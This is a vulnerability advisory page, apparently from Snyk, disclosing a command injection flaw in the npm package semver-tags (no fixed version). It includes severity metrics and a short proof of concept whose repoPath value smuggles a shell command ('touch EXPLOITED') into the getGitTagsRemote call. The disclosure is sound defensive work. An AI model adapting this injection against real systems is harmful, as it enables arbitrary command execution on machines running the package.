Command Injection Affecting semver-tags package, versions *


0.0
high

Snyk CVSS

    Attack Complexity High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.05% (15th percentile)
Expand this section
NVD
7.8 high

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  • Snyk ID SNYK-JS-SEMVERTAGS-3175612
  • published 5 Feb 2023
  • disclosed 19 Dec 2022
  • credit Junmin Zhu at SJTU, JHU System Security Lab

How to fix?

There is no fixed version for semver-tags.

Overview

Affected versions of this package are vulnerable to Command Injection via the getGitTagsRemote function due to improper input sanitization.

PoC

var r = require("semver-tags")
opt = {"repoType":"git","repoPath":"\";touch EXPLOITED;\""}
finalCb = console.log
r(opt,finalCb)

References